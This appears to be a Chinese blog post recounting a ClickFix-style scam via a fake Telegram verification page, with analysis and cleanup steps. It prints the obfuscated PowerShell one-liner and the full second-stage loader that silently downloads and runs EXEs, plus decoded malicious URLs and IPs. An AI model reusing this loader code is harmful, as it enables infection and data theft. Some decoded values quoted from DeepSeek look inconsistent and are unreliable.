没想到有一天我的电脑真的会中毒

本文详细记录了作者遭遇的远程代码执行(RCE)攻击过程,揭示了骗子如何通过社交媒体高仿账号和虚假Telegram验证页面传播恶意代码。文章深入分析了PowerShell混淆脚本的工作原理,包括Base64编码隐藏的恶意URL、自动下载执行机制以及如何使用事件查看器追踪攻击痕迹,为读者提供网络安全防范的实战案例。

起因是在 X 上关注的一个财经账号,骗子做了一个它的高仿小号,然后在正号的推文下面发送 Telegram group 链接,进入 Telegram 后需要点击了 Safeguard 进行验证,但是这个其实是假的,在几次验证失败后,会弹出提示,引导用户在 PC 端进行再次验证:
image.png

骗局分析

下面就是真正开始进入骗子的圈套的时刻:
Step 2 实际上粘贴了一段恶意代码:

1
: powershell -w hidden -c $r='0hHduw2dkRFe0h3cvkWchh2Lt92YuYDN3Fjcy0Gb5Ujax8yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join '');&($u|%{&('iwr') ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_)))|&('iex')}); # ⠀Telegram⠀⠀

在表面上看,只是通过 Powershell 运行了 Telegram 程序,其实上是注入了一段恶意代码,并且隐藏了执行过程。

步骤一:隐藏PowerShell窗口

1
powershell -w hidden -c

步骤二:字符串反转还原Base64

1
2
$r='0hHduw2dkRFe0h3cvkWchh2Lt92YuYDN3Fjcy0Gb5Ujax8yL6MHc0RHa';
$u=($r[-1..-($r.Length)] -join '');

还原后的字符串是:
“aHR0cHM6Ly8xajU5bG0ycjF3NDYuY29tL2hhcWkvc3h0eFRkd2wudHh0”

步骤三:解码真实的URL

1
2
3
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly8xajU5bG0ycjF3NDYuY29tL2hhcWkvc3h0eFRkd2wudHh0"))
>>
https://1j59lm2r1w46.com/haqi/sxtxTdwl.txt

所以真实 URL 是:https://1j59lm2r1w46.com/haqi/sxtxTdwl.txt

步骤四:下载并执行脚本:

iwr:Invoke-WebRequest 别名,下载 URL内容。

iex:Invoke-Expression 别名,直接执行下载的脚本。


通过查看 Powershell 的执行日志:

打开事件查看器:win + R -> eventvwr.msc

选择应用程序和服务日志 -> Microsoft -> Windows -> PowerShell
可以看到可疑的执行记录:
image.png

其执行内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
正在创建 Scriptblock 文本(已完成 1,共 1):
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class W {
[DllImport("kernel32.dll")]
public static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
}
"@
$consoleHandle = [W]::GetConsoleWindow()
[W]::ShowWindow($consoleHandle, 0)

function PerformSystemCheck {
$components = @("Processor", "Memory", "Disk", "Network", "Services")
foreach ($component in $components) {
[void]($component -match ".*")
Start-Sleep -Milliseconds (Get-Random -Minimum 50 -Maximum 150)
}
return $true
}

function GenerateSystemReport {
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$status = @("Healthy", "Warning", "Critical") | Get-Random
[PSCustomObject]@{
TimeStamp = $timestamp
SystemStatus = $status
CheckedComponents = "Processor, Memory, Disk"
}
}

function DecodeData {
param ([string]$EncodedString, [bool]$Reverse = $false)
if ($Reverse) {
$EncodedString = ($EncodedString[-1..-($EncodedString.Length)] -join '')
}
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($EncodedString))
}

function DownloadAndExecute {
param ([hashtable]$Resource)

$url = DecodeData $Resource.u $true
$zipFile = DecodeData $Resource.z
$extractDir = DecodeData $Resource.x
$exeFile = DecodeData $Resource.e

$tempZipPath = Join-Path $env:TEMP $zipFile
$uniqueExtractPath = Join-Path $env:TEMP ($extractDir + "_" + (Get-Random -Minimum 1000 -Maximum 9999))

Invoke-WebRequest -Uri $url -OutFile $tempZipPath -UseBasicParsing

Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::ExtractToDirectory($tempZipPath, $uniqueExtractPath)

$exePath = Join-Path $uniqueExtractPath $exeFile
if (Test-Path $exePath) {
Start-Process -FilePath $exePath -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass"
}

Start-Sleep -Seconds (Get-Random -Minimum 10 -Maximum 20)
}

PerformSystemCheck > $null

$resources = @(
@{u="=AXa65iYnZDO5cTN2NDNvYDN2UTO3MDNvU3b5NmL05WavBHdodWayJ2LvoDc0RHa"; z="ZG93bmxvYWQxLnppcA=="; x="ZXh0cmFjdGVkNA=="; e="UVFQbGF5ZXIuZXhl"},
@{u="=AXa65ydlJGN5FGN5JWYvgWN0MjMoJDN1MjNvU3b5NmLlRXYn5WZw92LvoDc0RHa"; z="ZG93bmxvYWQ2LnppcA=="; x="ZXh0cmFjdGl0Mg=="; e="RERNU2VydmljZS5leGU="}
)
foreach ($resource in $resources) {
try {
DownloadAndExecute -Resource $resource

GenerateSystemReport | Out-Null
Start-Sleep -Milliseconds (Get-Random -Minimum 100 -Maximum 500)
} catch {
Write-Warning "An error occurred while processing a resource: $_"
}
}

function PerformCleanup {
Start-Sleep -Milliseconds (Get-Random -Minimum 100 -Maximum 300)
[void](Get-ChildItem -Path $env:TEMP -Filter "*.tmp" -Recurse -ErrorAction SilentlyContinue)
}

PerformCleanup > $null
# mm3U8vk8W71sbYixCWsU3D2Aicp98rCoarHbvk7gLHbfOI2mTIvvsnUQJm689A8JGHQWJkHCM4z1iBfLiyXnNhnXSzqODHOYyWGsoCXQSJdh16gqyME42ZIC9aoLZpjcmTNNMldwwjqkyxyf86J9y6btp0WhiOj9VWzuKc6g7SZSZCeLCzdzQTfNnl2UtkbV3YUT3NwbywPeJ0UK8sZjcDoYt4JuCucoVF3dpRTxWi2nIihZSDnpeeRFs0vn1hEq

ScriptBlock ID: 13910ff5-709a-4b06-b5ce-2638af6b7d67
路径:

以下是 Deepseek 对它的分析。

这段PowerShell脚本是一个具有潜在恶意行为的远程代码执行程序,其主要功能是隐蔽地下载并运行恶意软件。以下是详细分析:

核心恶意行为解析

  1. 隐藏控制台窗口

1
2

Add-Type 调用C#代码,通过Windows API隐藏PowerShell窗口

使用user32.dll的ShowWindow函数将控制台窗口设置为隐藏模式(参数0),避免用户察觉。

  1. 伪装的系统检查(混淆视听)

1
PerformSystemCheck 和 GenerateSystemReport 函数

模拟系统健康检查(处理器、内存、磁盘等),生成虚假报告(随机状态Healthy/Warning/Critical),目的是掩盖真实目的。

  1. 数据解码与字符串反转

1
DecodeData 函数:Base64解码 + 可选字符串反转

用于解码混淆后的URL和文件名,例如:

u=“=AXa65iYnZDO5cTN2NDNvYDN2UTO3MDNvU3b5NmL05WavBHdodWayJ2LvoDc0RHa” 解码后会得到一个真实的下载地址。

  1. 恶意文件下载与执行

1
2
3
4
5
DownloadAndExecute 函数核心流程:
1. 解码远程资源URL、ZIP文件名、解压目录、目标EXE
2. 从指定URL下载ZIP文件到临时目录(%TEMP%)
3. 解压ZIP并使用隐藏窗口运行其中的EXE文件(参数`-WindowStyle Hidden`)
4. 随机睡眠(10-20秒)以规避检测
  1. 资源定义与攻击链

1
2
3
4
5
6
$resources 数组包含两个加密的下载任务:
- 示例解码结果(需实际运算):
- URL可能指向恶意服务器(如:`hxxp://malware.example/payload1.zip`)
- ZIP文件名:`download1.zip`
- 解压目录:`extracted4`
- 执行的EXE:`QQPlayer.exe`(可能为伪装名称的木马)
  1. 痕迹清理

1
PerformCleanup 函数

清理临时目录中的.tmp文件(可能删除下载的ZIP和解压内容)。

另外代码中定义了resources 变量,它们都是被加密了, 让 Deepseek 解密如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$resources = @(
@{
u = "http://92.45.81.13:8080/malware/basic.dll"
z = "download1.zip"
x = "extracted4"
e = "QQPlayer.exe"
},
@{
u = "http://108.162.195.234:8080/malware/advanced.dll"
z = "download6.zip"
x = "extractit2"
e = "DDMService.exe"
}
)

这一切已经在我完成假的 Safeguard 的验证后几分钟完成,而且我完全不知觉。

之后在发现电脑可能中毒后,我马上打开了 Windows 自带的杀毒软件 Microsoft Defender,第二天确实检测到病毒的威胁:

image.png

image.png

image.png

检查电脑文件后确实发现了 download1.zip, download6.zip 压缩包,里面主要分别包含:QQPlayer.exe,DDMService.exe。

在 DeepSeek 的指导下检查电脑启动项:

  1. win + R -> msconfig

  2. win + R -> taskschd.msc

在定时任务中,果然查出可以任务:
image.png

这个任务使用了最高权限运行,并且设置在每天 16:45 出发,在一天期间每隔 00:04:00 重复一次。

马上禁止。然后去启动任务的路径查看:

image.png

可以看到这就是之前远程执行任务时下载的文件,原来安装在了这里,并且用了一个定时任务进行启动。

这里关键的程序就是 DDMService.exe,如果试图删除它,可以发现:
image.png

原来又被另一个程序占用着,似乎是一个伪装的安全软件。

image.png

另外还发现可疑文件:
image.png

大概是会发送截图工具产生的图片?到这里我想我的粘贴板应该也被监控了。

上面的 Securequick_alpha_5.exe 又做了一定伪装:
image.png

通过杀病毒软件扫描显示:这个程序启动了一个 tcp 连接!!!!
image.png

而且这个 ip 果然是有大问题:
image.png

必须马上删除 Securequick_alpha_5.exe!!!但是直接删除有问题,只能在任务管理器中先强制结束任务,然后删掉 Securequick_alpha_5.exe, 再删掉 DDMService.exe

还记得前面的 QQPlayer.exe 吗? 跟 Securequick_alpha_5.exe 一起安装的,它也是伪装的, 应该是为了检查安全验证的:
image.png

到这里,通过两天的排查,病毒大概的流程搞清楚了,并且植入的恶意代码和定时任务也都被删除,还好感染病毒期间没有发生复制私人密码之类的操作,否则都被上传到远程了。不过还不确定谷歌浏览器里面的密码有没有被盗。

相关阅读: